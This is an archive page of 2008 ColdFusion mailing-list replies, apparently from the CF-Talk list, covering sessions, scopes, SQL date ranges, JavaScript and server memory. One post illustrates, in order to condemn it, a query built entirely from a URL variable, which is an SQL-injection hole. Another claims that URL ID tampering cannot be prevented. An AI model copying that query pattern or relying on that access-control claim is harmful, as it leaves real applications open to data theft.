> If I put the "restart=true" into the URL and load the page, the "rd" > variable gets initialized. It seems that OnSessionStart is not being > executed when I first access this site. Don't understand why it's not > running. The session is probably still active. You need to delete your cftoken and cfid cookies to allow a new session to be created. -- Josh - Original Message - From: "Carl Von Stetten" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Tuesday, May 27, 2008 9:58 AM Subject: Re: Problem with onSessionStart > >Why do you have locks? CF single threads these methods automatically. >>Secondly, I'd get rid of the cfreturn even though it isn't doing >>anything. Lastly, try renaming your application temporarily. That >>would force new sessions to be created. >> >>On Tue, May 27, 2008 at 11:35 AM, Carl V >>> > > Ray, > > Thank you for responding. The lock was just there for troubleshooting. I > removed it. I also removed the return, and renamed the application. My > variable still is not being initialized. > > Some further information - in my OnRequestStart function I check the URL > variable for the presence of "restart=true". If it is found, it runs the > OnApplicationStart and OnSessionStart functions to reinitialize the > application. > > Snippet from OnRequestStart function: > > (UCase(CGI.SCRIPT_NAME) DOES NOT CONTAIN "/TESTING/") AND > FindNoCase("restart=true",CGI.QUERY_STRING)> > > > > > If I put the "restart=true" into the URL and load the page, the "rd" > variable gets initialized. It seems that OnSessionStart is not being > executed when I first access this site. Don't understand why it's not > running. > > Carl > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:306077 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Preventing user from changing ID number in URL
> My help desk site I am building uses a URL variable for the ticket ID > when the admin or user is viewing details, and I seem to recall reading > somewhere that you can write your code so that if the user decides to > change the ID number in the URL, it will default to the one they > originally opened, thus keeping the user from viewing other tickets > unless they go back and click on another one to open. Does anyone recall > where this example is? I did a quick search but could not find it. Can the server tell the difference between someone clicking a link, and someone entering an url in the address window of the browser? That's what you have to contend with. My hunch is that it's just an http request either way, so there's really not a way to do what you're looking for. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:304817 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: create variables from a string
Do you mean something like this... -- Josh - Original Message - From: "Steve Good" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, May 05, 2008 7:27 PM Subject: create variables from a string > Is there a way to create named variables from a dynamic list (the list > doesn't always have the same number of elements)? > > > > One instance might be: > > > > red,green,blue,yellow > > > > becomes > > > > #red#,#green#,#blue#,#yellow# > > > > Or would this just be easier to do with listGetAt()? > > > > Thanks! > > > > ~Steve > > http://lanctr.com/ > > > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:304777 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Update multiple Records
> Sorry i think i am being a bit thick here!! but how do i get the id from > the form name as i can only access the value of the form field in my > action page. You can access the form field name by either looping over the form as a collection, or looping over the property FIELDNAMES. Here is what the former might look like: -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:304672 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Application scope not recognized in onError()
> When I call a page it gives me this error: > > " Element LOCALIPS is undefined in APPLICATION." > 107 : > > Why doesn't Coldfusion recognize this key in the Application scope? I set > it allright. Also, if I change APPLICATION to THIS in both > onApplicationStart and onError it cannot find localIps in THIS. Is it possible that the error happens during application startup? In this case, the application scoped variable would not be defined yet. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:304530 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Application variable undefined in CFC
>I keep getting these on an intermittent basis, and don't know how to go > about diagnosing the problem. I know the variable exists. Any > suggestions welcome. > > Element DATASOURCE is undefined in APPLICATION. You could be getting that if the application has timed out. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:304377 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Is this Application.cfm abuse?
> I'm working on a project and when I dumped the application scope there > were over 25,000 lines of variables and struct items. When I saved all of > this it was over 500k. Does this seem unusual? That seems pretty excessive. Do you mean there were 25K lines in Application.cfm, or there were 25K variables in the Application scope, or some combination thereof? -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:304113 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Store Locator - Exporting Importing data - best methods ???
> I planned on just exporting the data to a xls file and then import the > same xls after it's been > updated at a csv. I just get nervous when there's too much exporting and > importing. > > Does anyone have any other ideas that they themselves have successfully > implemented? I guess you'd have to consider how you'd handle updating existing records. Would you expose the primary key ID (or UID if you're using that) in the xls file? I'd think you would have to. Then there'd be the possiblity that they'd change that ID data inadvertently, and so violate the data integrity. If you're talking about just dumping the table, and then on import clearing the table and just using the edited xls file as the new data, that could really be a nightmare. Also, if they add a column or something, and you were using a cfhttp call to turn the xls file into a query, the import would fail. Sounds like there are a lot of challenges involved. Maybe you could create a multi-row edit form for them instead, that would mimic what they want to do with the spreadsheet. I've done something like this in javascript using jQuery and a plugin called jEditable that creates an Excel-like environment. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:304108 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: URLs being appended to query string
Yeah I get tons of these too. Also form posts with urls in the values. My cfqueryparams catch them all, but I get all the error notifications. Sometimes dozens a minute. -- Josh - Original Message - From: "Paul Vernon" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Tuesday, April 22, 2008 9:07 AM Subject: RE: URLs being appended to query string >> http://www.client.com/somePage.cfm?someParam=http://www.zlotow.biz/radi >> omari >> ana2/rawi/ayutuqi/ >> > > You aren't alone. We're seeing exactly the same and have been for a couple > of months. Not sure what the purpose of it is. It could be F***wits trying > to inject URLs into site content I guess to increase their back-links to > game the Search Engines. > > Paul > > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:303992 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Some JS help please
A - ha...the select element has a name of "SiteID" while the id is "Site_ID" -- I think this can cause problems in IE. You will want to have the name and the id be the same value. Firebug is indispensable to me at this point. Don't know how I lived without it. -- Josh - Original Message - From: "Bruce Sorge" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, April 16, 2008 2:57 PM Subject: Re: Some JS help please > Sure, > Here it is: > > http://www.nomorepasting.com/getpaste.php?pasteid=14631 > > It is not the entire form though. Just the result of the JS and down to > the select, incase anyone notices and says "Hey, you forgot to close > your form". > And I am finding FireBug interesting. > > Bruce > > Charlie Griefer wrote: >> Bruce - can you view the source and paste it to a >> www.nomorepasting.com type site? >> >> hard to debug JS when it's not all been generated yet :) >> >> (but definitely use Firebug for your own testing/debugging. Firebug >> rocks) >> >> On Wed, Apr 16, 2008 at 2:47 PM, Bruce Sorge <[EMAIL PROTECTED]> wrote: >> > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:303643 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Some JS help please
Does using rather than a regular select change the id value somehow? The error you're getting would indicate that the element with id "Site_ID" is not found. You might want to use Firefox/Firebug and use "Inspect" to make sure the id is what you think it is. -- Josh - Original Message - From: "Bruce Sorge" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, April 16, 2008 1:58 PM Subject: Some JS help please >I am using this script: > > >var SiteContact = {}; >var SitePhone = {}; ><!--- Populate Site Contact Information ---> ><cfloop query="qSelectAllSites"> >SiteContact["#qSelectAllSites.SiteID#"] = > '#qSelectAllSites.SiteContact#'; >SitePhone["#qSelectAllSites.SiteID#"] = > '#qSelectAllSites.SitePhone#'; ></cfloop> > >// Listen for changes to the select box >document.getElementById('Site_ID').onchange = function() { >document.getElementById('SiteContact').value = > qSelectAllSites[this.options[this.selectedIndex].value]; >document.getElementByID('SitePhone').value = > qSelectAllSites[this.options[this.selectedIndex].value]; >} > > > > Everything works OK except for the first document.getElementByID. I am > getting the error message: > > Error: document.getElementById("Site_ID") has no properties > Source File: http://10.120.5.30/tt/Restricted/CaseForm.cfm > Line: 78 > > The select is: > display="SiteName" value="SiteID"> > > So what am I missing here? Doesn't the > document.GetElementByID('Site_ID'). listen for the select list > with the ID Site_ID? > > Thanks, > > Bruce > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:303627 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Oklahoma Leaks Tens of Thousands of SSN's
> > I'm sure ASP has a feature like CFs cfQueryParam that would have prevented > this. It's worse than not sanitizing the data though -- the programmer hard coded the SQL query as an url variable, so you could see all the column names without even having to guess them, just by mousing over a link. That's what's so astonishing about it. The query itself must have been empty and getting its information from the url variable, so you could put anything in the url variable and it would work. It would be like doing this: #url.whatever# -- Josh - Original Message - From: "Tom Chiverton" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, April 16, 2008 7:23 AM Subject: Re: Oklahoma Leaks Tens of Thousands of SSN's > On Wednesday 16 Apr 2008, Russ wrote: >> This was done in ASP, but seeing as CF is being used a lot in government >> contracting, I hope nobody here is stupid enough to code something like >> that. > > > I'm sure ASP has a feature like CFs cfQueryParam that would have prevented > this. > > "There is no such thing as a bad language, only bad coding". > > -- > Tom Chiverton > Helping to autoschediastically maximize network e-business > on: http://thefalken.livejournal.com > > > > This email is sent for and on behalf of Halliwells LLP. > > Halliwells LLP is a limited liability partnership registered in England > and Wales under registered number OC307980 whose registered office address > is at Halliwells LLP, 3 Hardman Square, Spinningfields, Manchester, M3 > 3EB. A list of members is available for inspection at the registered > office. Any reference to a partner in relation to Halliwells LLP means a > member of Halliwells LLP. Regulated by The Solicitors Regulation > Authority. > > CONFIDENTIALITY > > This email is intended only for the use of the addressee named above and > may be confidential or legally privileged. If you are not the addressee > you must not read it and must not use any information contained in nor > copy it nor inform any person other than Halliwells LLP or the addressee > of its existence or contents. If you have received this email in error > please delete it and notify Halliwells LLP IT Department on 0870 365 2500. > > For more information about Halliwells LLP visit www.halliwells.com. > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:303568 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: query2excel
FWIW -- you can do some calculations within pound signs -- something like #myquery.recordcount+1# should work I think, as long as myquery exists as a query. If the query doesn't exist it will error of course. So, it's possible that the OP's actual problem was that the query wasn't defined. #myvar + 1# This will output 3. -- Josh - Original Message - From: "Eric Roberts" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Tuesday, April 15, 2008 5:00 PM Subject: RE: query2excel > You have the "#" signs around the entire statement. That will produce an > error as "(finalQuery.recordcount+1" does not exist as a variable. Type > maxRows=#finalQuery.recordcount#+1 > > Eric > > /*-Original Message- > /*From: Richard White [mailto:[EMAIL PROTECTED] > /*Sent: Tuesday, April 15, 2008 3:08 PM > /*To: CF-Talk > /*Subject: Re: query2excel > /* > /*Hi Daniel, just tried this to no success :( thanks though > /* > /* > /* > /*>Have you tried putting the calculation in brackets first so that it > /*>calculates and then inserts the sum? > /*> > /*>maxRows=#(finalQuery.recordcount+1)# > /*> > /*> > /*>-- > /*> > /*>Daniel Kessler > /*> > /*>University of Maryland College Park > /*>School of Public Health > /*>3302E HHP Building > /*>College Park, MD 20742-2611 > /*>Phone: 301-405-2545 > /*>http://sph.umd.edu > /* > /* > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:303533 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Pagination CFC: How to pass search parameters?
OK, I see, they might only post the form on the first search. I would say then that yes, you'd need to use javascript to intercept the link clicks and grab the search form variables, and append them to the end of the pagination link as url parameters, then do a window.location.href with the new url string. -- Josh - Original Message - From: "Rick Faircloth" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, April 14, 2008 11:05 AM Subject: RE: Pagination CFC: How to pass search parameters? >I thought about that, but I usually integrate the search parameter form > into the results page. In this case, the user would intuitively select > an option from, say a dropdown to select a location, then click the > a pagination link. > > The only way it would work would be to separate my search parameter form > from the results page, which I'd like to avoid. > > However, I'm keeping that as an option if the links should fail. > > As I think about it, I would probably still have to separate my search > parameter form from the search results whichever approach I take. > > Perhaps I can utilize some javascript to grab the form variables upon > change and then either use form variables or URL variables. > > Thoughts? > > Rick > >> -Original Message- >> From: Josh Nathanson [mailto:[EMAIL PROTECTED] >> Sent: Monday, April 14, 2008 12:25 PM >> To: CF-Talk >> Subject: Re: Pagination CFC: How to pass search parameters? >> >> Rick, >> >> Why not create a session variable to hold the search parameters? >> >> Then if the form is re-submitted, i.e. the search parameters are changed, >> you can re-assign the new form values to the session variables. >> >> Then you would reference the session variables rather than the form >> variables in your query. >> >> This way you don't have to mess with the paging links' url params at all. >> >> -- Josh >> >> > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:303342 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Pagination CFC: How to pass search parameters?
Rick, Why not create a session variable to hold the search parameters? Then if the form is re-submitted, i.e. the search parameters are changed, you can re-assign the new form values to the session variables. Then you would reference the session variables rather than the form variables in your query. This way you don't have to mess with the paging links' url params at all. -- Josh - Original Message - From: "Rick Faircloth" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, April 14, 2008 8:59 AM Subject: RE: Pagination CFC: How to pass search parameters? > Thanks for the feedback, Nathan... > > I'll check into adding the URL params. > > Hey, if I add the request to riaforge, any chance the solution > might be integrated in the next 24 hours? jk :o) > > Rick > >> -Original Message- >> From: Nathan Strutz [mailto:[EMAIL PROTECTED] >> Sent: Monday, April 14, 2008 11:15 AM >> To: CF-Talk >> Subject: Re: Pagination CFC: How to pass search parameters? >> >> Rick, >> >> I think Sonny's got it right. Pagination.cfc doesn't post anything, but >> if >> you can move all your form variables to your URL, something like: >> >> >> >> Then you may have to modify your app to work with URL instead of form >> vars. >> >> The alternate way to do it is to make a custom pagination cfc to extend >> my >> Pagination.cfc and override some of the methods in order to get the HTML >> output the way you want. This is discussed a little bit here: >> >> http://www.dopefly.com/projects/pagination/pagination_cfc_documentation.cfm#Section6 >> >> I guess you would need to override renderHTML(), maybe even just >> "decorate" >> it - that is, call super.renderHTML(), run some regEx's on what's >> returned >> and return that. >> >> The 3rd way to do it is to submit a feature request to the riaforge site >> and >> wait for it. :) >> >> > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:303325 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Open Source CF Shopping Carts
> I originally thought about writing my own shell until I found CFWebstore. > The bang for the buck is great. And their yahoo group is a great source > of support. Between the community and CFWebstore quickly responding to > all questions, it's the best way to get tech support. > > I have no affiliation with the company--just a satisfied user. I'll second CFWebstore, for the money there is no comparison. It's Fusebox (at least the version I have is, it's FB3), so if you don't know that then there's a bit of a learning curve. I just checked the site and it's still FB3 - also it requires at least CF6 as the latest version uses CFC's. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:303160 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Is task manager correct?
Ok, i'll first start off by saying thank you to all of the previous people who have given information on here about JRUN and the memory issues; you have kept me partly sane past few weeks. I'm a bit new to coldfusion but not to computers in general and my company is having a bit of a problem, or so i think... We are running Coldfusion 8 on a Win2003 server with 3 servers running in multiserver mode. The web sites that they host are small and nothing flashy but mainly used for transfering and receiving mass amounts of numbers and figures. One of the servers had almost all of the traffic and other two very few clients on them. Basically what we were seeing (on only the heavy loaded server) is the memory for JRUN.exe going up throughout the day and never ever going back down. Eventually the pages would lock up and we had to just restart jrun and everything was fine. Since then, I've been searching the google-web in search for some fixes, we've tried thread dumps to try and pinpoint when the problem was occuring and what was causing it, but all i could get is JRUN was running. So i've spread out the load a bit moving a handful of my heavily used sites to the other two servers. Since i've done that there have been no freezes in the pages or errors on the sites. My concern however is the fact that on the task manager my JRUN will still climb steadily throughout the day on the main heavy server. For example yesterday it started out around 200k and by the time i left it was around 850k memory used. Just to be safe i restarted JRUN before i left. In the server monitor my graphs look ok no real high peaks and i can see where garbage collection is bringing everything back down. SO after all that i ask my question. Should i trust my taskmanager or the graphs in coldfusion server monitor? My other two servers all stay at 280-310k memory usage and we've never gotten this error on them. Thanks for all the help Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:302607 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Variables scope within cold fusion 8 context
> I guess with cf8, it simply does not support Variables Scop at global > level. True or False? If I'm understanding correctly, I don't think any version has supported a global variables scope. The variables scope is reset every request. Setting a couple of variables on each request in onRequestStart is additional overhead, but not very much. You'll have to decide whether you want to incur that overhead, or change all the references to Application scope. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:302209 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Weird
> Yeh, causing chaos and destruction to all who use the usefulness that such > ambiguity offers! I just didn't realise that cgi was included in that lot. >From the CF7 docs: "If you use a variable name without a scope prefix, ColdFusion checks the scopes in the following order to find the variable: 1.. Function local (UDFs and CFCs only) 2.. Arguments 3.. Variables (local scope) 4.. CGI 5.. Cffile 6.. URL 7.. Form 8.. Cookie 9.. Client Because ColdFusion must search for variables when you do not specify the scope, you can improve performance by specifying the scope for all variables. To access variables in all other scopes, you must prefix the variable name with the scope identifier." -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:302195 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Weird
> I didn't realise that the cgi 'scope' was searched automatically by CF > when > trying to identify a variable. Why oh why?! When confronted with an unscoped variable, CF will check the variables scope first I think, then search through the other scopes in a predetermined order - there's more information about it in the docs. Someone will probably post the exact scope order. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:302191 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Date Range Search Problem - when it's integers stored and not dates
> I'd been trying to come up with a way to do this, but the columns with a > "0" in them are throwing me off, since "0" isn't a valid date value. You could use CASE or IF to fill in dummy values for those zeroes, but then, if you substituted 1 (January) for the month for example, it wouldn't be found in a date range search from Feb - April for example. If a record only has the year entered, for example 2007, I suppose you'd want to return it for any search that had 2007 in the date range. So maybe you could do a conditional check for that in the subquery, and then return any of those records that match the year -- something like CASE WHEN day = 0 and month = 0 and year <> 0 then 'true' else 'false' END AS 'matchonlyyear' Then maybe do a query of queries or something to check for those "year only" records. All I can say is you are going to have to get super creative and pull out all the stops. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:301968 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Date Range Search Problem - when it's integers stored and not dates
You might be able to join the table to itself in a query, and on that join concat your date integers into actual date values. Something like... SELECT whatever FROM thetable t INNER JOIN ( SELECT id, CONCAT(yearcol,'/',monthcol,'/',daycol) AS gooddate FROM thetable ) gooddates ON t.id = gooddates.id WHERE gooddates.gooddate BETWEEN datea AND dateb The idea being to parse the separate date columns into usable dates in the subquery, and then join that to the superquery as needed. That syntax may or may not work in your db, the example above would be for MySQL. -- Josh - Original Message - From: "Les Mizzell" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, March 24, 2008 4:06 PM Subject: Date Range Search Problem - when it's integers stored and not dates > I've got a database in which dates are stored as integers in three > separate columns as: day|month|year > > This was done because the client wished to create records that could > contain only a year, or just a year and month, or year, month, and day, > or no date at all. Values in the columns default to "0" if nothing was > entered. > > Bad idea. Really bad idea! Worked great at first, but as 'feature creep" > has slowly reared its ugly head, this way of storing dates has caused me > no end of headaches. They want to add a date search by range. So, you'd > want to do something like: > > and YEAR >= #form.from_y# and YEAR <= #form.to_y# > and MONTH >= #form.from_m# and MONTH <= #form.to_m# > and DAY >= #form.from_d# and DAY <= #form.to_d# > > So, let's say you have four records > > day|month|year > 15 | 05 |2005 > 16 | 04 |2006 > 15 | 03 |2007 > 0 | 01 |2006 > > > Uh oh - that's not going to work. For example, searching for dates > between 05/15/2006 and 04/16/2007 is looking at *integers* in the month > column greater than 5 *and* less than 4, plus integers in the day column > greater then 15 but less than 16. Whoops, no results returned. > > I've gotten myself into this mess. Is there any trick I can use in the > queries to get myself out, or am a @[EMAIL PROTECTED] > > I should have NEVER let them talk me into letting them enter records > without *complete* dates - but, the client is always right, huh? But, > that was almost a year ago and they weren't asking for a date range > search at the time either.. > > Argh! > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:301964 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Seeking Spreadsheet App Simulation in CF
> Does anyone know of a tag or simple app that simulates a "spreadsheet" > within a page. I am looking for only the simplest functionality that > will enable users to input/update simple text data into a cell. Rick - I have used a jQuery plugin called "jEditable" to achieve something like this. Basically it allows you to click on a div or table cell, and it turns it into an input field. Then when you enter data and hit return, it executes a callback function (which can be an ajax call to update your db if you like) and changes the input field back into whatever it was before, and displays the value that was entered inserted into the cell or div. I suppose if you wanted to get real fancy, you could style your inputs so that it wasn't even noticeable to the end user that it had changed into an input field. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:301925 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Flash Remoting and CF
> What about this: http://www.devx.com/webdev/Article/30638 You could do it that way, but IMO doing the database interaction in ColdFusion will make the code more decoupled (less coupled?). If you have your database requests in CFC's, you can also call them from other parts of your application on the server, or via ajax for example. -- Josh - Original Message - From: "Robert Harrison" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, March 19, 2008 12:30 PM Subject: RE: Flash Remoting and CF >> I don't think Flash does queries. It does as your Flash guy says, send >> a request and receives responses - that is Flash remoting. So yes, you >> should write CFCs that Flash will send requests to. > > What about this: http://www.devx.com/webdev/Article/30638 > > Robert B. Harrison > Director of Interactive services > Austin & Williams > 125 Kennedy Drive, Suite 100 Hauppauge NY 11788 > T : 631.231.6600 Ext. 119 > F : 631.434.7022 > www.austin-williams.com > > Great advertising can't be either/or... It must be &. > > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:301604 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Back button and Ajax
I know there is a jQuery plugin called "History" that handles this. Here's the link: http://plugins.jquery.com/project/history Even if you don't currently use jQuery, it might be worth it to use it just for this plugin rather than reinventing the wheel. -- Josh - Original Message - From: "Claude Schneegans" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, March 17, 2008 11:45 AM Subject: Back button and Ajax > Hi, > > Ajax is a nice feature, for instance when only some part of a page must > be changed, > one can populate some internal DIV instead of reloading the entire page. > > But the problem is when the visitor hits the back button: he then > doesn't get back > to the previous sub page, but to the page he opened the current page from. > > Has any one implemented some feature that would allow to > 1. check if the back button is hit, > 2. go back to the previous sub-page instead of the previous page? > > -- > ___ > REUSE CODE! Use custom tags; > See http://www.contentbox.com/claude/customtags/tagstore.cfm > (Please send any spam to this address: [EMAIL PROTECTED]) > Thanks. > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;160198600;22374440;w Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:301435 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: AjaxCFC question
